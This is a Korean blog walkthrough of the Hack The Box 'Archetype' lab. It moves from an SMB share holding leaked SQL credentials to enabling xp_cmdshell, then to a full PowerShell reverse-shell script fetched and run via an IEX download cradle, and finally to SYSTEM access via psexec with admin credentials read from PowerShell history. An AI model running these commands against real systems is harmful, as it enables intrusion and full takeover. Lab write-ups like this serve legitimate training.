root@j4sper:~#

Starting Point | Archetype 본문

Walkthrough/Hack The Box

Starting Point | Archetype

j4sper 2021. 3. 17. 08:00

Hack The Box 가입 후 들어가면 다음과 같은 화면이 나온다.

Hack The Box를 시작하기 위한 튜토리얼 같다.

나는 VMWare Fusion 가상 머신과 Kali linux-2020.4 버전을 사용 중이다.

가상 머신과 운영체제 모두 설치했다면, 다음으로 넘어간다.

다음에서는 핵더박스 실험실 이용을 위해서는 Parrot이나 Kali에서 사용할 수 있는 OpenVPN으로 이용할 수 있다고 되어있다.

Download Connection Pack 버튼을 클릭하면 다음과 같은 .ovpn확장자가 붙는 파일을 다운로드할 수 있도록 나온다.

Save File을 누른 후 Ok 버튼을 누르면 칼리 리눅스 다운로드 파일에 저장되어 있다.

Save File을 누른 후 Ok 버튼을 누르면 칼리 리눅스 다운로드 파일에 저장되어 있다.

여기까지 진행했으면 바로 실행하면 되지만 나는 따로 폴더를 만들어서 내가 작업한 파일들을 모두 정리해 놓았다. 이렇게 다른 사이트들에서 받는 파일들은 모두 사이트 이름이나 원하는 이름으로 디렉터리를 만들어 정리하면 나중에 보기 편하다.

Hack The Box의 앞글자만 따 HTB라는 파일 생성 후 HTB디렉터리 안에 또 다른 startingpoint라는 파일을 만든다.

# mkdir HTB
# ls
# cd HTB
# ls
# mkdir startingpoint
# ls
# cd startingpoint
# ls

 

이렇게 HTB 파일 안에 startingpoint라는 디렉터리를 만들었다면 핵더박스 사이트에서 다운로드한 OpenVPN 파일을 새로 만든 startingpoint로 옮긴다.

# cd /home/jasper/Downloads
# ls
# cp j4sper-startingpoint.ovpn /home/jasper/HTB/startingpoint
# cd /home/jasper/HTB/startingpoint
# ls

 

파일을 옮겼으면 파일을 실행해야 한다. openvpn 명령어로 옮긴 파일을 실행한다.

# openvpn j4sper-startingpoint.ovpn

 

Initialization Sequence Completed라는 말이 뜨면 정상적으로 VPN 연결이 된 것이다.

제대로 연결이 되었는지 확인하기 위해서 새로운 터미널을 열어 네트워크 연결을 확인한다.

# ifconfig

 

tun0라는 네트워크가 생성된 것을 확인했다면 정상적으로 연결이 된 것이다.

연결이 완료했다면 핵더박스 페이지에서 다음으로 넘어간다.

nmap으로 포트 스캔을 진행한다.

# nmap -sC -sV 10.10.10.27

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-16 11:04 EDT
Nmap scan report for 10.10.10.27
Host is up (0.21s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-03-16T14:57:07
|_Not valid after:  2051-03-16T14:57:07
|_ssl-date: 2021-03-16T15:26:13+00:00; +21m01s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h45m01s, deviation: 3h07m50s, median: 21m00s
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-03-16T08:26:00-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-03-16T15:26:03
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.80 seconds

다음과 같은 결과가 나왔다.

핵더박스에서 파일 공유 및 SQL 서버가 443과 1433과 열려있다고 한다.

smbclient 명령어로 사용 가능한 공유 파일을 찾을 수 있다.

# smbclient -L 10.10.10.27

 

backups 파일에는 뭐가 있는지 알아본다.

# smbclient -N //10.10.10.27/backups

 

prod.dtsConfig라는 파일이 있는 것을 확인했다. 무슨 파일인지 알아보기 위해 get 명령어를 사용해 내 파일에 다운한다.

smb 서버에서 exit라고 입력 후 빠져나온다.

가져온 파일이 무엇인지 알아보기 위해 내용을 확인해 본다.

다음과 같은 뭔지 모르는? 알 수 없는 내용이 출력됐다. 한번 읽어보면 중간에 Data Source= 부분에 패스워드와 유저 아이디가 있다.

nmap으로 포트 스캔을 했을 때  윈도우 SQL 서버가 오픈되어 있었다.

이 파일에서 윈도우의 SQL 서버의 아이디는 ARCHETYPE/sql_svc라는 것을 알아냈다. 

여기까지 알아냈다면 핵더박스 다음 단계로 넘어간다.

mssqlclient.py라는 파일을 이용해 SQL 서버에 연결한다.

일단 mssqlclient.py의 위치를 파악한다.

# locate mssqlclient.py

 

위치 파악 후 해당 파일을 복사해서 가져온다.

# cp /usr/share/doc/python3-impacket/examples/mssqlclient.py /home/jasper/HTB/startingpoint
# ls

 

mssqlclient.py 파일을 페이지에 설명한 대로 입력 후 실행해본다.

python3 명령어로 실행하면 패스워드를 입력하라고 나온다.

전에 prod.dtsConfig파일에서 얻은 패스워드를 복사 후 붙여 넣고 엔터를 누른다.

# python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Password:m3g4c0rp123

 

패스워드를 입력하면 SQL 서버에 로그인 해 들어갈 수 있다.

핵더박스에서 안내해 주는 대로 IS_SRVROLEMEMBER 함수를 사용해 sysadmin(가장 높은 수준)의 권한을 가지고 있는지를 확인할 수 있다. 

SQL> SELECT IS_SRVROLEMEMBER ('sysadmin')

 

1이 나오면서 sysadmin의 권한을 가지고 있는 것을 확인했다.

이를 xp_cmdshell 통해 호스트에서 RCE를 활성화하고 얻을  있습니다.

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"

 

명령어 모두 입력 후 다음과 같이 출력되면 성공한 것이다.

그다음 핵더박스에서 shell.ps1이라는 리버스 셸을 만들라고 한다.

SQL 서버에서는 exit 명령어 입력 후 빠져나와 vi 명령어로 shell.ps1이라는 파일을 만든 후 핵더박스에서 입력하라는 내용을 입력해 준다.

# vi shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.46",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

입력할 때 TCPClient 부분의 IP 주소를 아까 연결했던 openvpn 내 IP 주소를 입력해 준다.

vi 편집기에서 입력을 하려면 i 버튼을 누른 후 INSERT 모드로 들어간 후 위 내용을 입력 후 esc를 누르고 : 를 누르고 wq를 누르고 엔터를 치고 나오면 된다. 

모두 입력한 후 파일의 내용을 확인하면 다음과 같다.

그리고 다음으로 만든 파일을 호스팅 하기 위해 새로운 터미널을 열어 웹 서버를 열어준다.

# python3 -m http.server 80

 

또 새로운 터미널을 열어 포트 443번에 netcat의 리스너를 설정한 후 ufw(uncomplicated firewall, 방화벽 관리 시스템)을 사용하여 포트 80번과 443번에 대한 콜백을 허용할 수 있다.

# nc -lvnp 443
# ufw allow from 10.10.10.27 proto tcp to any port 80,443

 

모든 설정을 완료한 후 다시 SQL 서버로 접속 해 xp_cmdshell를 통해 리버스 쉘을 다운로드하고 실행하는 명령어를 사용할 수 있다.

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.46/shell.ps1\");"

 

다음 명령어에서 IP주소만 바꿔서 실행했지만 아무런 결과가 출력되지 않는다면 shell.ps1 파일이 있는 위치의 주소를 모두 적어보길 바란다.

아까 netcat으로 리스너 설정한 터미널에서 Connection received라는 메세지가 출력되며 연결이 되었다는 것을 알 수 있다.

whoami를 눌러 사용자가 누군지 확인하면 아까 얻은 SQL 서버 아이디가 나오는 것을 확인하면서 리버스 쉘을 얻을 수 있다.

여기까지 마쳤다면 핵더박스 다음 단계로 넘어간다.

다음 명령어로 PowerShell 히스토리(기록) 파일의 내용을 볼 수 있다.

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 

 

결과에서 user는 administrator라고 히스토리 파일에 출력됐다. 그 뒤에 MEGACORP_4dm1n!!은 암호인 것 같다. 그럼 리버스 쉘로 유저와 암호를 알았으니 psexec.py 파일로 시스템 계정으로 접속하기 위해 psexec.py 파일을 startingpoint 디렉터리에 가져온다.

# cp /usr/share/doc/python3-impacket/examples/psexec.py /home/jasper/HTB/startingpoint
# ls

 

psexec.py 파일을 복사해서 가져왔다. 만약 psexec.py 파일이 다음 경로에 없다면 locate 명령어로 파일을 찾아보길 바란다.

가져온 psexec.py 파일을 실행해 시스템 계정으로 접속한다.

# python3 psexec.py administrator@10.10.10.27

 

root.txt 파일을 찾으면 되는데 도저히 찾을 방도가 생각나지 않아 우선 상위 파일로 이동 후 있을만한 디렉터리에 들어가 본 결과 root.txt 파일을 찾아냈다. 다음은 root.txt 파일을 찾은 내용이다.

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file eFOLAFRq.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service oEEz on 10.10.10.27.....
[*] Starting service oEEz.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>cd C:/
 
C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is CE13-2325

 Directory of C:\

01/20/2020  05:20 AM    <DIR>          backups
09/15/2018  12:12 AM    <DIR>          PerfLogs
01/19/2020  04:09 PM    <DIR>          Program Files
01/19/2020  04:08 PM    <DIR>          Program Files (x86)
01/19/2020  11:39 PM    <DIR>          Users
03/16/2021  11:36 AM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  33,787,854,848 bytes free

C:\>cd Users    
 
C:\Users>dir
 Volume in drive C has no label.
 Volume Serial Number is CE13-2325

 Directory of C:\Users

01/19/2020  04:10 PM    <DIR>          .
01/19/2020  04:10 PM    <DIR>          ..
01/19/2020  11:39 PM    <DIR>          Administrator
01/19/2020  11:39 PM    <DIR>          Public
01/20/2020  06:01 AM    <DIR>          sql_svc
               0 File(s)              0 bytes
               5 Dir(s)  33,786,806,272 bytes free

C:\Users>cd Administrator
 
C:\Users\Administrator>dir
 Volume in drive C has no label.
 Volume Serial Number is CE13-2325

 Directory of C:\Users\Administrator

01/19/2020  11:39 PM    <DIR>          .
01/19/2020  11:39 PM    <DIR>          ..
01/19/2020  11:39 PM    <DIR>          3D Objects
01/19/2020  11:39 PM    <DIR>          Contacts
01/20/2020  06:42 AM    <DIR>          Desktop
01/19/2020  11:39 PM    <DIR>          Documents
01/19/2020  11:39 PM    <DIR>          Downloads
01/19/2020  11:39 PM    <DIR>          Favorites
01/19/2020  11:39 PM    <DIR>          Links
01/19/2020  11:39 PM    <DIR>          Music
01/19/2020  11:39 PM    <DIR>          Pictures
01/19/2020  11:39 PM    <DIR>          Saved Games
01/19/2020  11:39 PM    <DIR>          Searches
01/19/2020  11:39 PM    <DIR>          Videos
               0 File(s)              0 bytes
              14 Dir(s)  33,786,892,288 bytes free

C:\Users\Administrator>cd Desktop
 
C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is CE13-2325

 Directory of C:\Users\Administrator\Desktop

01/20/2020  06:42 AM    <DIR>          .
01/20/2020  06:42 AM    <DIR>          ..
02/25/2020  07:36 AM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  33,784,819,712 bytes free

C:\Users\Administrator\Desktop>type root.txt
b91ccec3305e98240082d4474b848528

 

마지막엔 root.txt 파일에서 플래그를 획득할 수 있다.

'Walkthrough > Hack The Box' 카테고리의 다른 글

Starting Point | Pathfinder  (0) 2021.04.14
Starting Point | Shield  (0) 2021.03.31
Starting Point | Vaccine  (0) 2021.03.29
Starting Point | Oopsie  (0) 2021.03.25
Hack The Box 가입하기  (0) 2021.03.09
Comments